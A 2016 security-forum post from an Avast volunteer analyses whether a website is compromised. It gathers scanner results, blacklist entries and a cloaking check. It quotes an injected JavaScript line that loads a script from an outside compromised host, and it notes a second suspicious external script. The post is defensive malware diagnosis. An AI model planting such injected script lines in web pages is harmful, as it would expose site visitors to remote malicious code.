Author Topic: Website only blacklisted or compromised and malicious?  (Read 1011 times)

0 Members and 1 Guest are viewing this topic.

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33927
  • malware fighter
Website only blacklisted or compromised and malicious?
« on: February 11, 2016, 11:57:15 PM »
GoDaddy abuse.
See: https://www.virustotal.com/en/url/95817bf2d0eabfc5cf908a09d0efd41d16d65853756c23cdf4be47de11a0ca94/analysis/1455230734/
15 suspicious pages detected here: http://killmalware.com/www.yellowwinmedia.com/
Sucuri detects: Known javascript malware. Details: http://labs.sucuri.net/db/malware/mwjs-iframe-injected691?v15
document.write('<script src="hxtp://www.studiogrimani.net/ws/V2FRD1tN.php?id=4401947" type="text/javascript"></script>');
One SRI issue: Script 1 issue
Tag   Result
<script type="text/javascript" src="-http://tonerhp.eu/wp-content/themes/epira-lite/8nldyktv.php?id=8588843"></script>    Missing SRI hash

Re: http://www.isithacked.com/check/http%3A%2F%2Fwww.yellowwinmedia.com
Google safe browse check
WARNING
Google finds the site to be potentially dangerous

According to:
Checking for cloaking
There is a difference of 13947 bytes between the version of the page you serve to Chrome and the version you serve to GoogleBot. This probably means some code is running on your site that's trying to hide from browsers but make Google think there's something else on the page.

Status codes
These should normally all be the same.

Google Chrome returned code 200
GoogleBot returned code 404

Blacklisted: https://yandex.com/infected?l10n=en&url=www.yellowwinmedia.com
38 blacklisted external links.

AOS does not flag site!

polonus
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!